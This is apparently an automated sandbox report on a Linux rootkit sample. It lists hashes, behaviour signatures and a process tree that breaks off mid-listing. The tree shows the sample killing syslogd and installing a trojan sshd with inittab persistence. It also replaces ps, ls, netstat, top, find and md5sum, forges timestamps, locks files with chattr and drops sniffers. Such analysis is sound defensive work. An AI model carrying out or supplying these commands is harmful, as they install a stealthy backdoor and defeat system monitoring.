Analysis

  • max time kernel
    24s
  • max time network
    25s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    15-07-2024 23:17

General

  • Target

    4bd599176fbaab489642f3fafb083862_JaffaCakes118

  • Size

    23KB

  • MD5

    4bd599176fbaab489642f3fafb083862

  • SHA1

    0e04611e74f58029492a2df576844dc8c4529e4e

  • SHA256

    c7d3a16ba29abcf5261b66af753f44124fcb3a303059f7cee04334983a3b6d16

  • SHA512

    d2be3727188dfffaee6b96296f0404e8e208a83cb83fbcab4d6eb833b9305b844dffdf73af61c6c63ab607d38df6dfe43c83b1935d2fb28039320cf6bb780645

  • SSDEEP

    384:z7WoIqPIkK+slvwzUvEEa2cC/bvynigxz9DYnY2c68:5IqAkK+slvwzF2CDYnYhf

Score
7/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Attempts to change immutable files 22 IoCs

    Modifies inode attributes on the filesystem to allow changing of immutable files.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Write file to user bin folder 1 TTPs 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/4bd599176fbaab489642f3fafb083862_JaffaCakes118
    /tmp/4bd599176fbaab489642f3fafb083862_JaffaCakes118
    1⤵
    • Write file to user bin folder
    • Writes file to tmp directory
    PID:633
    • /usr/bin/whoami
      whoami
      2⤵
        PID:641
      • /bin/tar
        tar zxf ./bin.tgz
        2⤵
          PID:643
        • /bin/tar
          tar zxf ./conf.tgz
          2⤵
            PID:648
          • /bin/tar
            tar zxf ./lib.tgz
            2⤵
              PID:651
            • /bin/tar
              tar zxf ./utilz.tgz
              2⤵
                PID:656
              • /bin/tar
                tar zxf ./sshd.tgz
                2⤵
                  PID:660
                • /bin/rm
                  rm -rf ./sshd.tgz
                  2⤵
                    PID:664
                  • /bin/rm
                    rm -rf bin.tgz conf.tgz lib.tgz utilz.tgz
                    2⤵
                      PID:666
                    • /bin/sleep
                      sleep 2
                      2⤵
                        PID:668
                      • /usr/bin/killall
                        killall -9 syslogd
                        2⤵
                        • Reads runtime system information
                        PID:677
                      • /bin/date
                        date "+%S"
                        2⤵
                          PID:678
                        • /bin/sleep
                          sleep 2
                          2⤵
                            PID:679
                          • /bin/hostname
                            hostname -f
                            2⤵
                              PID:702
                            • /bin/grep
                              grep -v "^#" /etc/syslog.conf
                              2⤵
                                PID:705
                              • /bin/grep
                                grep -v "^\$"
                                2⤵
                                  PID:706
                                • /bin/grep
                                  grep "@"
                                  2⤵
                                    PID:707
                                  • /usr/bin/cut
                                    cut -d "@" -f 2
                                    2⤵
                                      PID:708
                                    • /bin/uname
                                      uname -n
                                      2⤵
                                        PID:710
                                      • /bin/mv
                                        mv lib/libproc.a /lib/
                                        2⤵
                                          PID:711
                                        • /bin/mv
                                          mv lib/libproc.so.2.0.6 /lib/
                                          2⤵
                                            PID:713
                                          • /sbin/ldconfig
                                            /sbin/ldconfig
                                            2⤵
                                              PID:715
                                            • /usr/bin/md5sum
                                              md5sum
                                              2⤵
                                                PID:719
                                              • /usr/bin/touch
                                                touch -acmr /bin/ls /etc/sh.conf
                                                2⤵
                                                  PID:720
                                                • /bin/chown
                                                  chown -f root:root /etc/sh.conf
                                                  2⤵
                                                    PID:721
                                                  • /usr/bin/chattr
                                                    chattr +isa /etc/sh.conf
                                                    2⤵
                                                      PID:723
                                                    • /bin/rm
                                                      rm -rf /tmp/bin/.sh/shdcf2
                                                      2⤵
                                                        PID:728
                                                      • /bin/mv
                                                        mv /tmp/bin/.sh/sshd_config /tmp/bin/.sh/shdcf
                                                        2⤵
                                                          PID:729
                                                        • /bin/mv
                                                          mv /tmp/conf/lidps1.so /lib/lidps1.so
                                                          2⤵
                                                            PID:730
                                                          • /usr/bin/touch
                                                            touch -acmr /bin/ls /lib/lidps1.so
                                                            2⤵
                                                              PID:732
                                                            • /usr/bin/touch
                                                              touch -acmr /bin/ls "/tmp/conf/*"
                                                              2⤵
                                                                PID:733
                                                              • /bin/mv
                                                                mv "/tmp/conf/*" /usr/include/
                                                                2⤵
                                                                  PID:736
                                                                • /bin/mkdir
                                                                  mkdir /lib/libsh.so
                                                                  2⤵
                                                                    PID:739
                                                                  • /usr/bin/touch
                                                                    touch -acmr /bin/ls /lib/libsh.so
                                                                    2⤵
                                                                      PID:741
                                                                    • /bin/mkdir
                                                                      mkdir /usr/lib/libsh
                                                                      2⤵
                                                                        PID:742
                                                                      • /usr/bin/touch
                                                                        touch -acmr /bin/ls /usr/lib/libsh
                                                                        2⤵
                                                                          PID:743
                                                                        • /bin/mv
                                                                          mv ".sh/*" /lib/libsh.so/
                                                                          2⤵
                                                                            PID:744
                                                                          • /bin/mv
                                                                            mv .sh/.bashrc /usr/lib/libsh
                                                                            2⤵
                                                                              PID:746
                                                                            • /bin/mv
                                                                              mv /lib/libsh.so/sshd /sbin/ttyload
                                                                              2⤵
                                                                              • Reads runtime system information
                                                                              PID:748
                                                                            • /bin/chmod
                                                                              chmod a+xr /sbin/ttyload
                                                                              2⤵
                                                                                PID:749
                                                                              • /bin/chmod
                                                                                chmod o-w /sbin/ttyload
                                                                                2⤵
                                                                                  PID:751
                                                                                • /usr/bin/touch
                                                                                  touch -acmr /bin/ls /sbin/ttyload
                                                                                  2⤵
                                                                                    PID:753
                                                                                  • /usr/bin/chattr
                                                                                    chattr +isa /sbin/ttyload
                                                                                    2⤵
                                                                                      PID:755
                                                                                    • /bin/pidof
                                                                                      pidof ttyload
                                                                                      2⤵
                                                                                      • Reads runtime system information
                                                                                      PID:756
                                                                                    • /bin/mv
                                                                                      mv /tmp/bin/ttymon /sbin/ttymon
                                                                                      2⤵
                                                                                        PID:758
                                                                                      • /bin/chmod
                                                                                        chmod a+xr /sbin/ttymon
                                                                                        2⤵
                                                                                          PID:759
                                                                                        • /usr/bin/touch
                                                                                          touch -acmr /bin/ls /sbin/ttymon
                                                                                          2⤵
                                                                                            PID:760
                                                                                          • /usr/bin/chattr
                                                                                            chattr +isa /sbin/ttymon
                                                                                            2⤵
                                                                                              PID:761
                                                                                            • /bin/pidof
                                                                                              pidof ttymon
                                                                                              2⤵
                                                                                              • Reads runtime system information
                                                                                              PID:762
                                                                                            • /bin/cp
                                                                                              cp /bin/bash /lib/libsh.so
                                                                                              2⤵
                                                                                                PID:764
                                                                                              • /usr/bin/chattr
                                                                                                chattr -isa /etc/inittab
                                                                                                2⤵
                                                                                                • Attempts to change immutable files
                                                                                                PID:765
                                                                                              • /bin/cat
                                                                                                cat /etc/inittab
                                                                                                2⤵
                                                                                                  PID:766
                                                                                                • /bin/grep
                                                                                                  grep -v ttyload
                                                                                                  2⤵
                                                                                                    PID:767
                                                                                                  • /bin/grep
                                                                                                    grep -v getty
                                                                                                    2⤵
                                                                                                      PID:768
                                                                                                    • /bin/cat
                                                                                                      cat /etc/inittab
                                                                                                      2⤵
                                                                                                        PID:769
                                                                                                      • /bin/grep
                                                                                                        grep getty
                                                                                                        2⤵
                                                                                                          PID:770
                                                                                                        • /bin/cat
                                                                                                          cat /tmp/.init2
                                                                                                          2⤵
                                                                                                            PID:771
                                                                                                          • /usr/bin/touch
                                                                                                            touch -acmr /bin/ls /usr/sbin/ttyload
                                                                                                            2⤵
                                                                                                              PID:772
                                                                                                            • /bin/chmod
                                                                                                              chmod +x /usr/sbin/ttyload
                                                                                                              2⤵
                                                                                                                PID:773
                                                                                                              • /usr/bin/chattr
                                                                                                                chattr +isa /usr/sbin/ttyload
                                                                                                                2⤵
                                                                                                                • Attempts to change immutable files
                                                                                                                PID:774
                                                                                                              • /usr/sbin/ttyload
                                                                                                                /usr/sbin/ttyload
                                                                                                                2⤵
                                                                                                                • Executes dropped EXE
                                                                                                                PID:775
                                                                                                                • /sbin/ttyload
                                                                                                                  /sbin/ttyload -q
                                                                                                                  3⤵
                                                                                                                    PID:776
                                                                                                                  • /sbin/ttymon
                                                                                                                    /sbin/ttymon
                                                                                                                    3⤵
                                                                                                                      PID:777
                                                                                                                  • /usr/bin/touch
                                                                                                                    touch -amcr /etc/inittab /tmp/.init1
                                                                                                                    2⤵
                                                                                                                      PID:778
                                                                                                                    • /bin/mv
                                                                                                                      mv -f /tmp/.init1 /etc/inittab
                                                                                                                      2⤵
                                                                                                                        PID:779
                                                                                                                      • /bin/rm
                                                                                                                        rm -rf /tmp/.init2
                                                                                                                        2⤵
                                                                                                                          PID:780
                                                                                                                        • /bin/grep
                                                                                                                          grep ttyload /etc/inittab
                                                                                                                          2⤵
                                                                                                                            PID:781
                                                                                                                          • /usr/bin/md5sum
                                                                                                                            /usr/bin/md5sum /bin/ps
                                                                                                                            2⤵
                                                                                                                              PID:782
                                                                                                                            • /usr/bin/md5sum
                                                                                                                              /usr/bin/md5sum /bin/ls
                                                                                                                              2⤵
                                                                                                                                PID:783
                                                                                                                              • /usr/bin/md5sum
                                                                                                                                /usr/bin/md5sum /usr/bin/find
                                                                                                                                2⤵
                                                                                                                                  PID:784
                                                                                                                                • /usr/bin/md5sum
                                                                                                                                  /usr/bin/md5sum /usr/bin/top
                                                                                                                                  2⤵
                                                                                                                                    PID:785
                                                                                                                                  • /usr/bin/md5sum
                                                                                                                                    /usr/bin/md5sum /usr/bin/md5sum
                                                                                                                                    2⤵
                                                                                                                                      PID:786
                                                                                                                                    • /tmp/encrypt
                                                                                                                                      ./encrypt -e .shmd5 /dev/srd0
                                                                                                                                      2⤵
                                                                                                                                        PID:787
                                                                                                                                      • /usr/bin/touch
                                                                                                                                        touch -acmr /bin/ls /dev/srd0
                                                                                                                                        2⤵
                                                                                                                                          PID:788
                                                                                                                                        • /usr/bin/chattr
                                                                                                                                          chattr a+r /dev/srd0
                                                                                                                                          2⤵
                                                                                                                                          • Attempts to change immutable files
                                                                                                                                          PID:789
                                                                                                                                        • /bin/chown
                                                                                                                                          chown -f root:root /dev/srd0
                                                                                                                                          2⤵
                                                                                                                                            PID:790
                                                                                                                                          • /bin/rm
                                                                                                                                            rm -rf .shmd5
                                                                                                                                            2⤵
                                                                                                                                              PID:791
                                                                                                                                            • /usr/bin/touch
                                                                                                                                              touch -acmr /sbin/ifconfig ifconfig
                                                                                                                                              2⤵
                                                                                                                                                PID:792
                                                                                                                                              • /usr/bin/touch
                                                                                                                                                touch -acmr /bin/ps ps
                                                                                                                                                2⤵
                                                                                                                                                  PID:793
                                                                                                                                                • /usr/bin/touch
                                                                                                                                                  touch -acmr /bin/ls ls
                                                                                                                                                  2⤵
                                                                                                                                                    PID:794
                                                                                                                                                  • /usr/bin/touch
                                                                                                                                                    touch -acmr /bin/netstat netstat
                                                                                                                                                    2⤵
                                                                                                                                                      PID:795
                                                                                                                                                    • /usr/bin/touch
                                                                                                                                                      touch -acmr /usr/bin/find find
                                                                                                                                                      2⤵
                                                                                                                                                        PID:796
                                                                                                                                                      • /usr/bin/touch
                                                                                                                                                        touch -acmr /usr/bin/top top
                                                                                                                                                        2⤵
                                                                                                                                                          PID:797
                                                                                                                                                        • /usr/bin/touch
                                                                                                                                                          touch -acmr /usr/sbin/lsof lsof
                                                                                                                                                          2⤵
                                                                                                                                                            PID:798
                                                                                                                                                          • /usr/bin/touch
                                                                                                                                                            touch -acmr /sbin/syslogd syslogd
                                                                                                                                                            2⤵
                                                                                                                                                              PID:799
                                                                                                                                                            • /usr/bin/touch
                                                                                                                                                              touch -acmr /usr/bin/slocate slocate
                                                                                                                                                              2⤵
                                                                                                                                                                PID:800
                                                                                                                                                              • /usr/bin/touch
                                                                                                                                                                touch -acmr /usr/bin/dir dir
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:802
                                                                                                                                                                • /usr/bin/touch
                                                                                                                                                                  touch -acmr /usr/bin/md5sum md5sum
                                                                                                                                                                  2⤵
                                                                                                                                                                    PID:804
                                                                                                                                                                  • /usr/bin/touch
                                                                                                                                                                    touch -acmr /usr/bin/pstree pstree
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:805
                                                                                                                                                                    • /bin/mkdir
                                                                                                                                                                      mkdir /usr/lib/libsh/.backup
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:806
                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                        chattr -isa /bin/ps
                                                                                                                                                                        2⤵
                                                                                                                                                                        • Attempts to change immutable files
                                                                                                                                                                        PID:807
                                                                                                                                                                      • /bin/cp
                                                                                                                                                                        cp /bin/ps /usr/lib/libsh/.backup
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:809
                                                                                                                                                                        • /bin/mv
                                                                                                                                                                          mv -f ps /bin/ps
                                                                                                                                                                          2⤵
                                                                                                                                                                            PID:811
                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                            chattr +isa /bin/ps
                                                                                                                                                                            2⤵
                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                            PID:812
                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                            chattr -isa /sbin/ifconfig
                                                                                                                                                                            2⤵
                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                            PID:814
                                                                                                                                                                          • /bin/cp
                                                                                                                                                                            cp /sbin/ifconfig /usr/lib/libsh/.backup
                                                                                                                                                                            2⤵
                                                                                                                                                                            • Reads runtime system information
                                                                                                                                                                            PID:816
                                                                                                                                                                          • /bin/mv
                                                                                                                                                                            mv -f ifconfig /sbin/ifconfig
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:818
                                                                                                                                                                            • /usr/bin/chattr
                                                                                                                                                                              chattr +isa /sbin/ifconfig
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Attempts to change immutable files
                                                                                                                                                                              PID:821
                                                                                                                                                                            • /usr/bin/chattr
                                                                                                                                                                              chattr -isa /bin/netstat
                                                                                                                                                                              2⤵
                                                                                                                                                                              • Attempts to change immutable files
                                                                                                                                                                              PID:823
                                                                                                                                                                            • /bin/cp
                                                                                                                                                                              cp /bin/netstat /usr/lib/libsh/.backup
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:826
                                                                                                                                                                              • /bin/mv
                                                                                                                                                                                mv -f netstat /bin/netstat
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:827
                                                                                                                                                                                • /usr/bin/chattr
                                                                                                                                                                                  chattr +isa /bin/netstat
                                                                                                                                                                                  2⤵
                                                                                                                                                                                  • Attempts to change immutable files
                                                                                                                                                                                  PID:829
                                                                                                                                                                                • /usr/bin/chattr
                                                                                                                                                                                  chattr -isa /usr/bin/top
                                                                                                                                                                                  2⤵
                                                                                                                                                                                  • Attempts to change immutable files
                                                                                                                                                                                  PID:830
                                                                                                                                                                                • /bin/cp
                                                                                                                                                                                  cp /usr/bin/top /usr/lib/libsh/.backup
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:832
                                                                                                                                                                                  • /bin/mv
                                                                                                                                                                                    mv -f top /usr/bin/top
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:833
                                                                                                                                                                                    • /usr/bin/chattr
                                                                                                                                                                                      chattr +isa /usr/bin/top
                                                                                                                                                                                      2⤵
                                                                                                                                                                                      • Attempts to change immutable files
                                                                                                                                                                                      PID:835
                                                                                                                                                                                    • /usr/bin/chattr
                                                                                                                                                                                      chattr -isa /bin/ls
                                                                                                                                                                                      2⤵
                                                                                                                                                                                      • Attempts to change immutable files
                                                                                                                                                                                      PID:837
                                                                                                                                                                                    • /bin/cp
                                                                                                                                                                                      cp /bin/ls /usr/lib/libsh/.backup
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:838
                                                                                                                                                                                      • /bin/mv
                                                                                                                                                                                        mv -f ls /bin/ls
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:840
                                                                                                                                                                                        • /usr/bin/chattr
                                                                                                                                                                                          chattr +isa /bin/ls
                                                                                                                                                                                          2⤵
                                                                                                                                                                                          • Attempts to change immutable files
                                                                                                                                                                                          PID:842
                                                                                                                                                                                        • /usr/bin/chattr
                                                                                                                                                                                          chattr -isa /usr/bin/find
                                                                                                                                                                                          2⤵
                                                                                                                                                                                          • Attempts to change immutable files
                                                                                                                                                                                          PID:843
                                                                                                                                                                                        • /bin/cp
                                                                                                                                                                                          cp /usr/bin/find /usr/lib/libsh/.backup
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:844
                                                                                                                                                                                          • /bin/mv
                                                                                                                                                                                            mv -f find /usr/bin/find
                                                                                                                                                                                            2⤵
                                                                                                                                                                                            • Reads runtime system information
                                                                                                                                                                                            PID:846
                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                            chattr +isa /usr/bin/find
                                                                                                                                                                                            2⤵
                                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                                            PID:848
                                                                                                                                                                                          • /usr/bin/chattr
                                                                                                                                                                                            chattr -isa /usr/bin/pstree
                                                                                                                                                                                            2⤵
                                                                                                                                                                                            • Attempts to change immutable files
                                                                                                                                                                                            PID:849
                                                                                                                                                                                          • /bin/cp
                                                                                                                                                                                            cp /usr/bin/pstree /usr/lib/libsh/.backup
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:850
                                                                                                                                                                                            • /bin/mv
                                                                                                                                                                                              mv -f pstree /usr/bin/pstree
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:852
                                                                                                                                                                                              • /usr/bin/chattr
                                                                                                                                                                                                chattr +isa /usr/bin/pstree
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                • Attempts to change immutable files
                                                                                                                                                                                                PID:854
                                                                                                                                                                                              • /usr/bin/chattr
                                                                                                                                                                                                chattr -isa /usr/bin/md5sum
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                • Attempts to change immutable files
                                                                                                                                                                                                PID:855
                                                                                                                                                                                              • /bin/cp
                                                                                                                                                                                                cp /usr/bin/md5sum /usr/lib/libsh/.backup
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:856
                                                                                                                                                                                                • /bin/mv
                                                                                                                                                                                                  mv -f md5sum /usr/bin/md5sum
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:858
                                                                                                                                                                                                  • /usr/bin/chattr
                                                                                                                                                                                                    chattr +isa /usr/bin/md5sum
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                    • Attempts to change immutable files
                                                                                                                                                                                                    PID:860
                                                                                                                                                                                                  • /usr/bin/touch
                                                                                                                                                                                                    touch -acmr /bin/ls /tmp/utilz
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:861
                                                                                                                                                                                                    • /usr/bin/touch
                                                                                                                                                                                                      touch -acmr /bin/ls "/tmp/utilz/*"
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:863
                                                                                                                                                                                                      • /bin/mv
                                                                                                                                                                                                        mv /tmp/utilz /usr/lib/libsh/
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:864
                                                                                                                                                                                                        • /bin/mkdir
                                                                                                                                                                                                          mkdir /usr/lib/libsh/.sniff
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                          PID:866
                                                                                                                                                                                                        • /bin/mv
                                                                                                                                                                                                          mv /tmp/bin/shsniff /usr/lib/libsh/.sniff/shsniff
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:867
                                                                                                                                                                                                          • /bin/mv
                                                                                                                                                                                                            mv /tmp/bin/shp /usr/lib/libsh/.sniff/shp
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:870
                                                                                                                                                                                                            • /bin/mv
                                                                                                                                                                                                              mv /tmp/bin/shsb /usr/lib/libsh/shsb
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:871
                                                                                                                                                                                                              • /bin/mv
                                                                                                                                                                                                                mv /tmp/bin/hide /usr/lib/libsh/hide
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:872
                                                                                                                                                                                                                • /usr/bin/touch
                                                                                                                                                                                                                  touch -acmr /bin/ls /usr/lib/libsh/.sniff/shsniff
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:875
                                                                                                                                                                                                                  • /usr/bin/touch
                                                                                                                                                                                                                    touch -acmr /bin/ls /usr/lib/libsh/.sniff/shp
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:876
                                                                                                                                                                                                                    • /usr/bin/touch
                                                                                                                                                                                                                      touch -acmr /bin/ls /usr/lib/libsh/shsb
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:877
                                                                                                                                                                                                                      • /usr/bin/touch
                                                                                                                                                                                                                        touch -acmr /bin/ls /usr/lib/libsh/hide
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                          PID:878
                                                                                                                                                                                                                        • /bin/chmod
                                                                                                                                                                                                                          chmod +x "/usr/lib/libsh/.sniff/*"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:879
                                                                                                                                                                                                                          • /bin/chmod
                                                                                                                                                                                                                            chmod +x /usr/lib/libsh/shsb
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:881
                                                                                                                                                                                                                            • /bin/chmod
                                                                                                                                                                                                                              chmod +x /usr/lib/libsh/hide
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:883
                                                                                                                                                                                                                              • /bin/ps
                                                                                                                                                                                                                                ps aux
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                • Reads CPU attributes
                                                                                                                                                                                                                                • Reads runtime system information
                                                                                                                                                                                                                                PID:884
                                                                                                                                                                                                                              • /bin/cat
                                                                                                                                                                                                                                cat /tmp/.procs
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:886
                                                                                                                                                                                                                                • /bin/grep
                                                                                                                                                                                                                                  grep named
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:887
                                                                                                                                                                                                                                  • /bin/cat
                                                                                                                                                                                                                                    cat /tmp/.procs
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:889
                                                                                                                                                                                                                                    • /bin/grep
                                                                                                                                                                                                                                      grep smbd
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:890
                                                                                                                                                                                                                                      • /bin/cat
                                                                                                                                                                                                                                        cat /tmp/.procs
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:892
                                                                                                                                                                                                                                        • /bin/grep
                                                                                                                                                                                                                                          grep rpc.statd
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:893
                                                                                                                                                                                                                                          • /bin/rm
                                                                                                                                                                                                                                            rm -rf /tmp/.procs
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:894
                                                                                                                                                                                                                                            • /bin/cat
                                                                                                                                                                                                                                              cat /tmp/.stats
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:897
                                                                                                                                                                                                                                              • /bin/grep
                                                                                                                                                                                                                                                grep 443
                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                  PID:898
                                                                                                                                                                                                                                                • /bin/grep
                                                                                                                                                                                                                                                  grep http
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:899
                                                                                                                                                                                                                                                  • /bin/rm
                                                                                                                                                                                                                                                    rm -rf /tmp/.stats
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:900
                                                                                                                                                                                                                                                    • /bin/mkdir
                                                                                                                                                                                                                                                      mkdir /usr/lib/libsh/.owned
                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                        PID:901
                                                                                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                                                                                        chattr +isa /usr/lib/libsh
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Attempts to change immutable files
                                                                                                                                                                                                                                                        PID:902
                                                                                                                                                                                                                                                      • /usr/bin/chattr
                                                                                                                                                                                                                                                        chattr +isa /lib/libsh.so
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Attempts to change immutable files
                                                                                                                                                                                                                                                        PID:903
                                                                                                                                                                                                                                                      • /usr/bin/killall
                                                                                                                                                                                                                                                        killall -9 -q nscd
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                                                                        PID:904
                                                                                                                                                                                                                                                      • /usr/bin/killall
                                                                                                                                                                                                                                                        killall -9 -q xntps
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                                                                        PID:905
                                                                                                                                                                                                                                                      • /usr/bin/killall
                                                                                                                                                                                                                                                        killall -9 -q mountd
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                                                                        PID:906
                                                                                                                                                                                                                                                      • /usr/bin/killall
                                                                                                                                                                                                                                                        killall -9 -q mserv
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                                                                        PID:907
                                                                                                                                                                                                                                                      • /usr/bin/killall
                                                                                                                                                                                                                                                        killall -9 -q psybnc
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                                                                        PID:908
                                                                                                                                                                                                                                                      • /usr/bin/killall
                                                                                                                                                                                                                                                        killall -9 -q t0rns
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                                                                        PID:909
                                                                                                                                                                                                                                                      • /usr/bin/killall
                                                                                                                                                                                                                                                        killall -9 -q linsniffer
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                                                                        PID:910
                                                                                                                                                                                                                                                      • /usr/bin/killall
                                                                                                                                                                                                                                                        killall -9 -q sniffer
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                                                                        PID:911
                                                                                                                                                                                                                                                      • /usr/bin/killall
                                                                                                                                                                                                                                                        killall -9 -q lpsched
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                                                                        PID:912
                                                                                                                                                                                                                                                      • /usr/bin/killall
                                                                                                                                                                                                                                                        killall -9 -q sniff
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                                                                        PID:913
                                                                                                                                                                                                                                                      • /usr/bin/killall
                                                                                                                                                                                                                                                        killall -9 -q sn1f
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                        • Reads runtime system information
                                                                                                                                                                                                                                                        PID:914
                                                                                                                                                                                                                                                      • /usr/bin/killall
                                                                                                                                                                                                                                                        killall -9 -q sshd2
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:915
                                                                                                                                                                                                                                                        • /usr/bin/killall
                                                                                                                                                                                                                                                          killall -9 -q xsf
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                          PID:916
                                                                                                                                                                                                                                                        • /usr/bin/killall
                                                                                                                                                                                                                                                          killall -9 -q xchk
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                          • Reads runtime system information
                                                                                                                                                                                                                                                          PID:917
                                                                                                                                                                                                                                                        • /usr/bin/killall
                                                                                                                                                                                                                                                          killall -9 -q ssh2d
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                            PID:918
                                                                                                                                                                                                                                                          • /sbin/ifconfig
                                                                                                                                                                                                                                                            /sbin/ifconfig eth0
                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                              PID:920
                                                                                                                                                                                                                                                            • /bin/grep
                                                                                                                                                                                                                                                              grep "inet addr:"
                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                PID:921
                                                                                                                                                                                                                                                              • /usr/bin/awk
                                                                                                                                                                                                                                                                awk -F " " " {print \$2} "
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                  PID:922
                                                                                                                                                                                                                                                                • /usr/bin/cut
                                                                                                                                                                                                                                                                  cut -c6-
                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                    PID:923
                                                                                                                                                                                                                                                                  • /bin/hostname
                                                                                                                                                                                                                                                                    hostname -f
                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                      PID:924
                                                                                                                                                                                                                                                                    • /bin/uname
                                                                                                                                                                                                                                                                      uname -a
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:925
                                                                                                                                                                                                                                                                      • /usr/bin/awk
                                                                                                                                                                                                                                                                        awk "{ print \$11 }"
                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                          PID:926
                                                                                                                                                                                                                                                                        • /bin/cat
                                                                                                                                                                                                                                                                          cat /tmp/info_tmp
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:927
                                                                                                                                                                                                                                                                          • /bin/cat
